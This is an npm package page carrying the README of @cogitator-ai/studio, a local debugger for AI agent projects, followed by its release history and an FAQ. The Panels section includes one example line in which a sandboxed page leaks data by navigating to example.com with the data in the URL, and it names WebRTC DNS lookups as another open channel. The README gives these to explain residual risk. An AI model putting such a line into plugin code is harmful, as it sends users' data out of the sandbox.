@cogitator-ai/studio

中文文档
0.10.1发布于 2026/10/29MITTypeScriptES Module近 30 天下载 1万

Cogitator Studio: a local debugger for agent projects with chat, traces, costs, approvals, workflow runs and time-travel forks

原始使用文档
文档目录12 节
  1. Start it
  2. What it does
  3. Plugins
  4. Panels
  5. Plugin endpoints
  6. MCP Apps
  7. Routines: Inbox and Schedules
  8. Routine endpoints
  9. How it works
  10. Security
  11. API
  12. License

@cogitator-ai/studio

Cogitator Studio: a local debugger for Cogitator agent projects. Chat with every agent of a project, approve the tool calls that need it, read the trace and the cost of each run, run workflows and rerun them from a node, watch a team of agents work through its task list on a live graph, and fork a run from any step to see what a different input or tool result changes.

Guide: cogitator.app/docs/getting-started/studio

Start it

In a project created by create-cogitator-app or cogitator init:

pnpm dev:studio          # the script every generated project has
npx cogitator dev        # the same, from @cogitator-ai/cli

It opens http://localhost:4321 (the next free port when it is taken). The studio finds the agents, workflows and swarms in src/cogitator.ts, the registry generated projects have: export the runtime as cogitator and the rest as agents, workflows and swarms.

What it does

  • Overview: the project at a glance, with its runs, success rate, spend in tokens and dollars, p50 and p95 latency, activity over the last two weeks, and every agent and workflow with the model it runs on and how often it ran.
  • Chat with any agent: streamed answers rendered as Markdown with highlighted code and LaTeX math (\(...\), \[...\] and $$...$$, a single $ stays a dollar), reasoning, tool calls as one line each that opens to its arguments and result, errors, stop, and threads grouped by day. A project without memory gets one from the studio, so threads keep their conversation, also after a restart.
  • Approvals: a tool call with requiresApproval (or one a permission rule makes ask) waits in the chat with its arguments, why it asks and the rule behind it, until you approve it, reject it with a reason the model sees, or Always allow it, which saves the suggested rule shown next to the button (POST /api/approvals/:id with remember: true). The chat marks it always allowed only once the runtime saved the rule.
  • Questions of tools: the studio does not answer a question a tool asks with context.interrupt(). Such a run ends failed with an error that names each question (paused to ask confirm_plan ("Go ahead?")), and the memory tree shows the pause with its question. Fork the run from the step before and mock the tool's result to go on past it.
  • Traces: every run as a waterfall of model calls, tool calls and the runs agent tools start, nested under the call that started them, with the time, the tokens and the cost of each model call (priced from the model registry, unpriced for unknown models) and the total, counted live while the run goes. Click a span for its details: cached and reasoning tokens, the finish reason, the instructions, prompt and response of a model call, the arguments and the result of a tool call. The studio asks the runtime for this content for its own runs only, so other observers of the project still get spans without it.
  • Workflows: run one with an input state, watch the status and time of each node on its graph, read what each node returned (text an agent wrote is rendered as Markdown, the raw JSON is a click away), and rerun from a node, keeping what the nodes before it produced.
  • Swarms and agent teams: run a swarm of the registry with an input, its agent runs nested under it with their traces and costs. A team shows as a live graph while it runs: the lead and its members with their status, their turns and the task each works on, an arrow for every pair that exchanged tasks or messages, the shared task list in pending, in progress and completed columns (click a task for its result), and the messages between the agents, marked as coming from agents, not from the user. The studio builds a fresh swarm from the configuration in swarms for each run, with @cogitator-ai/swarms from the project.
  • Todos: a run of an agent with todos: true shows its todo list in a Todos panel, updated live each time the agent calls write_todos, and from the start of a run that goes on from a list kept in its thread.
  • Memory tree: the Tree button next to a chat (or T) opens a panel with every branch of the thread as its memory keeps it. Forks and replays branch off where they went on from, a branch a studio fork started is labelled fork, events (a model change, a pause for approval, an interruption) show in line, the active branch is highlighted and its last entry is marked next message, the one the next message goes after. Each entry links to the run that wrote it. The panel shows the newest 500 entries, and a memory without branches shows its entries as a list.
  • Rewind and fork a thread: every entry of the memory tree gets two buttons on hover: rewind the thread to it after a dry run that shows what changes, or fork it into a new thread from there. With file checkpoints on, both can restore the agent's workspace to that point too. Rewound turns stay in the chat, faded, and a forked thread links back to where it came from.
  • Time-travel forks: pick a step of a finished run (before each tool call), change the input, add context or replace a tool result, and run on from there. The original and the fork are shown side by side, with the tool calls that differ highlighted. A fork of a run that wrote to memory goes on a branch of its thread from where the run started, so it shows in the memory tree and never in the conversation it split from.
  • Plugins: every plugin of the project's runtime with its status, what it adds, its permissions and diagnostics, Reload and Enable or Disable, and the panels plugins add, each in a sandboxed frame, see Plugins.
  • Inbox and Schedules: the routines of experimental_triggers, what starts them and what they came to. Start the triggers, run a trigger now, pause and resume it, read results and failures, approve or reject a run that waits and answer its questions, see Routines.
  • History: runs and threads are kept in .cogitator/studio/ as JSON files, searchable by input, output and error and filtered by agent, workflow or kind. Runs a stopped studio left behind are marked failed.
  • Keyboard: ⌘K (Ctrl+K) opens a command palette over agents, workflows, the whole run history and actions, / searches the page, G O and G R go to the overview and the runs, J and K walk the run list and the trace, N starts a thread, T opens the memory tree, and ? lists every shortcut.
  • Themes: light and dark, following the system until you pick one, which the browser remembers.

Plugins

The Plugins page (in the sidebar and the command palette) lists the plugins of the project's runtime, the ones its experimental_plugins gives it: the core's own plugin, plugins in code, plugin folders and installed plugins. Each card shows the plugin's id, version, origin, manifest format, status (active, disabled, blocked, failed or unloaded) with its error, generation, whether it runs isolated in a process of its own, what decided that it is enabled, its dependencies, what it adds (tools, skills, agents, commands, hooks, MCP servers, LLM backends, middleware, panels and routines), its permission rules and its diagnostics. The page updates live whenever the runtime's plugins change.

  • Reload builds a new generation of the plugin beside the old one and swaps them once it loaded. A reload that fails says so with its error, and the old generation goes on serving.
  • Enable and Disable turn the plugin on or off for this runtime, over the settings files (managed settings still win), and load or unload what it adds. The core's own plugin is always on.
  • A project that configures no experimental_plugins shows only the core's own plugin, and the studio never loads plugins into it, so installed plugins do not show up in a project that did not ask for them. Reload, Enable and Disable are not offered there.

Panels

A panel a plugin registers, ui.panels in its manifest or context.registerPanel({ id, title, html, handlers }) in code (see Studio panels), is listed under Panels in the sidebar and opens in a frame sandboxed with allow-scripts only, never allow-same-origin: the page runs with an opaque origin and cannot reach the studio, its API or its cookies. The page is served with a Content-Security-Policy that lets it run its own inline scripts and styles and show data: images, fonts and media, and load or fetch nothing from any address: no fetch, no external scripts, styles or images, no form posts. It also gets X-Content-Type-Options: nosniff, Referrer-Policy: no-referrer, Cross-Origin-Opener-Policy: same-origin, X-DNS-Prefetch-Control: off and a Permissions-Policy that turns off devices, sensors, payment, credentials, the clipboard, screen capture and fullscreen. The policy sandboxes the page also when its URL is opened on its own, and the sandbox keeps it from opening windows, navigating the studio's page and downloading files.

The page talks to its plugin through the parent window:

<script>
  let next = 0;
  const pending = new Map();
  window.addEventListener('message', (event) => {
    const data = event.data;
    if (data?.type !== 'cogitator:response' || !pending.has(data.id)) return;
    const { resolve, reject } = pending.get(data.id);
    pending.delete(data.id);
    if ('error' in data) reject(new Error(data.error));
    else resolve(data.result);
  });
  function call(method, params) {
    return new Promise((resolve, reject) => {
      const id = ++next;
      pending.set(id, { resolve, reject });
      window.parent.postMessage({ type: 'cogitator:request', id, method, params }, '*');
    });
  }
</script>

A request is { type: 'cogitator:request', id, method, params }: id is a string (up to 200 characters) or a finite number the page picks to match the answer, method names one of the panel's handlers, and params is any JSON value, which the handler gets. The studio answers { type: 'cogitator:response', id, result } with what the handler returned as JSON, or { type: 'cogitator:response', id, error } with the message when the handler threw or the panel has no such handler. Only messages of the panel's own frame are answered: other windows and a page the frame navigated to on another origin are ignored, and an answer that comes after the frame was reloaded is dropped. Reload page reloads the frame, and a reload of the plugin reloads it with the new generation.

What a panel can still send out. No browser policy keeps a page from navigating its own frame, and a page can put what it holds into the address it goes to (location.href = 'https://example.com/?d=' + data). The studio's own pages are served with frame-src 'self', so the browser refuses a navigation of the frame to another site, and the studio closes a panel whose frame loads a second document: the frame is replaced by a notice, the plugin answers that page no more, and Open again loads the page anew. The navigation still starts before the panel closes, so a page can reach the studio's own address with data in it, and channels no Content-Security-Policy covers, such as the DNS lookups of a WebRTC connection, stay open. Treat a panel as able to send whatever its handlers return to the network: plugin authors should not return secrets to a panel, and users should open panels only of plugins they trust with what those handlers can read.

Plugin endpoints

RequestBodyAnswer
GET /api/pluginsPluginsState: available, configured and plugins (PluginRecord[])
POST /api/plugins/:id/reload{}PluginActionResult: results ({ id, ok, generation, error? }[]) and plugins
POST /api/plugins/:id/enabled{ enabled: boolean }PluginActionResult
GET /api/plugins/:id/panels/:panelThe panel's page, text/html with the policy above
POST /api/plugins/:id/panels/:panel/call{ method: string, params? }{ result }

Ids are URL-encoded (board%40code for board@code) and bodies are JSON, as for every other post. A bad body answers 400, as do a panel without the handler and disabling the core's own plugin, an unknown plugin or panel answers 404, a reload or an enable in a project without experimental_plugins 409, and a handler that throws 500, with its message as error. The event stream sends { type: 'plugins', plugins } whenever the runtime's plugins change.

MCP Apps

A tool with an MCP App (extension io.modelcontextprotocol/ui), such as a tool of an MCP server whose _meta.ui.resourceUri names a ui:// app, or a tool given an app with mcpApp(), shows its app under each of its calls in the chat and on the run page. The studio reads the app through the tool (tool.app.read()), serves its page from its own address and frames it sandboxed with allow-scripts only, so the app runs with an opaque origin, never the studio's, as a plugin panel does. The page is served with a Content-Security-Policy built from the origins the app declares in _meta.ui.csp: inline scripts and styles, data: images, fonts and media, connectDomains for fetch and WebSockets, resourceDomains for scripts, styles, images, fonts and media, frameDomains for nested frames and baseUriDomains for <base>, and nothing else. An app that declares none reaches no address. A declared value that is no origin (a keyword, a value that would end the directive) is left out. The features the app asks for in _meta.ui.permissions (camera, microphone, geolocation, clipboard write) go to its frame's allow attribute and its Permissions-Policy, every other one is off.

The studio is the app's host through the ext-apps AppBridge: it tells the app the call's arguments (ui/notifications/tool-input) and its result (tool-result, with the server's media blocks and its structuredContent), or that it failed (tool-cancelled), sizes the frame as the app asks (ui/notifications/size-changed) and opens the web links it asks for in a new tab. The tool calls the app makes (tools/call) go to the server the app came from, and only to tools open to apps (visibility with app, or none). A call is held to the agent's permissions, as a call of the agent would be: the runtime's and the agent's rules (the tool by its mcp__<server>__<tool> name too), hooks and guardrails decide, a denied call answers the app with an error, and a call a rule asks for, or of a tool that needs approval (its server marks it destructive, or the adapter's requiresApproval says so), waits for the person: the card shows The app asks to call with the arguments, and the call runs once they press Allow, while Deny answers the app with an error. A web page is a host MCP Apps asks to put a sandbox proxy on an origin of its own between itself and the app. The studio gets the same isolation without one: the app's own frame has an opaque origin and the policy comes as a header the page cannot change. A dedicated domain an app asks for is not honored.

RequestBodyAnswer
GET /api/agents/:agent/tools/:tool/appWhat the app asks of its frame: uri, csp, permissions, prefersBorder, no HTML
GET /api/agents/:agent/tools/:tool/app/viewThe app's page, text/html with the policy above
POST /api/agents/:agent/tools/:tool/app/call{ name, arguments?, approved? }{ status: 'done', result }, or { status: 'approval', tool } before an allowed call

An agent or a tool without an app answers 404, a call from an app that may call no tools 403.

Routines: Inbox and Schedules

A project whose runtime configures experimental_triggers gets two more pages in the sidebar and the command palette.

Schedules lists the routines, the ones in code, in the routine store and from plugins, each with its task, the agent or workflow it runs, its overlap rule, the thread it runs in and the runs of it going on or queued. Each trigger shows its kind, what it reacts to (the cron expression and time zone of a schedule, the events of a webhook), whether it is on, its next occurrence, when it last fired and how often. Run now fires a trigger by hand, as a person, with the optional text of the card as the event's text, and Pause and Resume turn it off and on. Below are the pending schedule entries, the cron triggers' and the tasks agents gave themselves with schedule_task, with Run now, Pause and Resume, and the latest 50 firings with their status, source, run and reason.

The studio never starts the trigger manager by itself, since routines may call real models: the triggers are started with Start at the top of the page and stopped with Stop, and a reload of the project leaves them stopped. Until then schedules do not fire, cron triggers have no schedule entry yet and Run now of a schedule entry is refused, while Run now of a trigger works either way.

Inbox lists what the routines came to, newest first: results, failures, approvals and questions, filtered by Unread, All (everything not archived) or Archived and by kind, and updated live. An item shows its summary and the whole result, its routine, trigger, source, run and thread (linked when the studio keeps that run or thread), and can be marked read or unread and archived. An approval is approved or rejected, with a reason the model reads, and a question is answered in text, sent as JSON when it parses as JSON. A request of a routine's workflow takes the answer its type asks for: approve or reject, one of its choices (sent as the choice's value), text, or a number for a rating. The run goes on and its outcome comes to the inbox as a new item, the answered one is marked answered and archived. An archived item that still waits can be answered, an answered one cannot, whatever its status. The sidebar shows the unread count next to Inbox.

An approval of a routine's run can also be answered through POST /api/approvals/:id, the route the chat's approvals use: an id the studio knows as a chat's approval is answered as before, else the route looks for an inbox item that waits on it, by the tool call id of an agent's approval (an Approve or Reject action of the item), the approvalId of a workflow's approval or the item's own id. An agent's item is answered with { decisions: { [toolCallId]: { approved, reason? } } }, every approval of the item when the item's id is given, a workflow's with { decision: approved }. The answer is { decided: true, inboxItemId, result }, or { decided: false } when nothing waits on the id.

Routine endpoints

RequestBodyAnswer
GET /api/schedulesTriggersState: configured, started, routines, schedules and history
POST /api/schedules/start{}TriggersState
POST /api/schedules/stop{}TriggersState
POST /api/schedules/:id/run{}TriggersState, the entry fires on the next poll
POST /api/schedules/:id/pause{}TriggersState
POST /api/schedules/:id/resume{}TriggersState
POST /api/triggers/:id/fire{ text? }TriggerFireResult: status (started, queued, skipped), runId and more
GET /api/inbox?status=&kind=InboxListing: configured, items (InboxItemRecord[]) and unread
POST /api/inbox/:id/read{}The item
POST /api/inbox/:id/unread{}The item
POST /api/inbox/:id/archive{}The item
POST /api/inbox/:id/respond{ decisions?, defaultDecision?, responses?, decision?, respondedBy? }TriggerFireResult of the run going on

A trigger id is <routineId>.<triggerId> (digest.morning). :id of run is a schedule entry, of pause and resume a schedule entry, a trigger or a routine: the entry of a routine's cron trigger is paused through the trigger, so the trigger's state says the same. status takes unread, read and archived separated by commas, or all, and lists every item but the archived ones when left out. kind takes result, approval, question and failure the same way, limit is up to 500 (100 by default). A project without experimental_triggers answers GET /api/schedules and GET /api/inbox with configured: false and nothing in them, every change with 409, as it does a start of the triggers that is not configured. An unknown trigger, schedule entry or item answers 404, a Run now of a paused entry or of triggers that are not started 409, a bad body or query 400. The event stream sends { type: 'inbox', change, unread } for every change of the inbox, change being { type: 'added' | 'updated', item } or { type: 'deleted', id }.

How it works

browser  ──HTTP, SSE──▶  studio server (cogitator dev)  ──IPC──▶  runtime host (child process)
  React UI                 run store in .cogitator/studio           your project, loaded with tsx
                           file watcher                             cogitator.observe(), TimeTravel,
                                                                    WorkflowManager
  • The runtime host is a child process that loads .env and src/cogitator.ts with tsx and runs the project with its own runtime, memory and tools. It watches every run through cogitator.observe(), so runs that agent tools start on the same runtime are seen too, and links them to the request that started them with AsyncLocalStorage. Forks use the project's TimeTravel with checkpoints kept on disk; workflows run on a WorkflowManager with file checkpoints, which is what reruns from a node start from.
  • The server keeps the runs and threads, prices model calls, puts nested runs under the tool call whose span was open when they started, and pushes every change to the browser over server-sent events.
  • When a file under src/, cogitator.yml, .env, package.json or tsconfig.json changes, the host is started again with the new code: the server and the browser stay, runs that were going are marked failed with the reason.

Security

The server listens on 127.0.0.1 and answers only requests for localhost, so another site cannot reach it through DNS rebinding, and refuses cross-site posts. --host 0.0.0.0 (or any other address) opens it to the network and requires the random token printed in its URL; the token is kept in an HttpOnly, SameSite=Strict cookie after the first visit.

API

import { startStudio } from '@cogitator-ai/studio';

const studio = await startStudio({ projectDir: process.cwd(), port: 4321 });
console.log(studio.url);
await studio.ready();
// ...
await studio.close();
OptionDefaultWhat it does
projectDirrequiredThe project to run
host127.0.0.1Interface to listen on; anything else needs the token
port4321Port, the next free one unless strictPort
tokenrandom beyond loopbackToken requests must carry
watchtrueReload the project when its files change
studioDir.cogitator/studioWhere the history lives
logReceives the project's output
pricemodel registryPrices a model call from its model and tokens

The HTTP API the UI uses is open to scripts as well: GET /api/state, GET /api/runs?target=&kind=&q=, GET /api/runs/:id, GET /api/threads/:id, GET /api/threads/:id/tree for the memory tree of a thread, POST /api/threads/:id/rewind and POST /api/threads/:id/fork to rewind a thread or fork it at an entry, POST /api/chat, POST /api/runs/:id/stop, POST /api/approvals/:id, POST /api/runs/:id/fork, POST /api/workflows/:key/run, POST /api/runs/:id/rerun, POST /api/swarms/:key/run ({ input }), GET /api/stats for the totals of the overview, and GET /api/events for the event stream. The shapes are the types exported from the package (RunRecord, ThreadRecord, ThreadTree, TreeEntry, StudioStats, StudioEvent and the rest). A RunRecord carries memory (MemoryPlace: threadId, branchPoint, leafId) when its run wrote to memory. A ThreadRecord lists the runs a rewind took off its branch in rewoundRuns, and a forked one carries forkOf (threadId, entryId) and base, the messages it starts from. Every RunRecord has a revision that each change of the run raises, and token and reasoning events carry the revision they bring it to: a client that mixes snapshots with the event stream keeps the copy with the higher one. A swarm run has kind: 'swarm', and a team run carries team (TeamRecord: its agents, tasks, assignments and messages), which applyTeamEvent builds from the team:* events of the swarm.

License

MIT

版本与发布记录

@cogitator-ai/studio 共发布 57 个版本,首次发布于 2026/10/07;过去 12 个月发布了 57 个版本。

版本发布日期距今
0.10.1latest2026/10/2912 天前
0.10.02026/10/2912 天前
0.9.42026/10/2912 天前
0.9.32026/10/2912 天前
0.9.22026/10/2912 天前
0.9.12026/10/2812 天前

关于 @cogitator-ai/studio 的常见问题

@cogitator-ai/studio 是什么?

Cogitator Studio: a local debugger for agent projects with chat, traces, costs, approvals, workflow runs and time-travel forks

如何安装 @cogitator-ai/studio?

在项目目录运行 npm install @cogitator-ai/studio,或使用 pnpm add / yarn add / bun add。

@cogitator-ai/studio 支持 TypeScript 吗?

支持。包内自带 TypeScript 类型声明(package.json 声明了 types 入口),安装后即可获得类型提示,无需再安装 @types 包。

@cogitator-ai/studio 支持 ESM 还是 CommonJS?

以 ES Module 形式发布,推荐使用 import 引入。在 CommonJS 项目中,Node.js 20.19+ / 22.12+ 可以直接 require() 不含顶层 await 的 ES Module,更早的版本需要改用动态 import()。

@cogitator-ai/studio 需要什么版本的 Node.js?

package.json 的 engines 字段要求 Node.js >=22.12.0。版本不符时 npm 默认只给出警告,开启 engine-strict 后会拒绝安装。

@cogitator-ai/studio 可以商用吗?

@cogitator-ai/studio 使用 MIT 许可。宽松许可:允许商业使用、修改和再分发,通常只需在分发时保留原版权与许可声明。以上为概括,不构成法律意见,请以许可原文为准。

@cogitator-ai/studio 的下载量有多少?

根据 npm 官方下载统计,@cogitator-ai/studio 在 2026/10/11 – 2026/11/09 这 30 天内被下载 10,495 次,日均约 350 次。下载量会把 CI 构建、镜像同步和作为其他包依赖的安装一并计入,适合横向比较热度,不能直接等同于使用人数。

@cogitator-ai/studio 还在维护吗?

最新版本 0.10.1 发布于 2026/10/29(12 天前);至今共发布 57 个版本,其中过去 12 个月发布了 57 个;首次发布于 2026/10/07。发布频率只是参考信号:功能稳定的工具可能很少需要更新,建议结合源码仓库的 issue 和提交记录判断。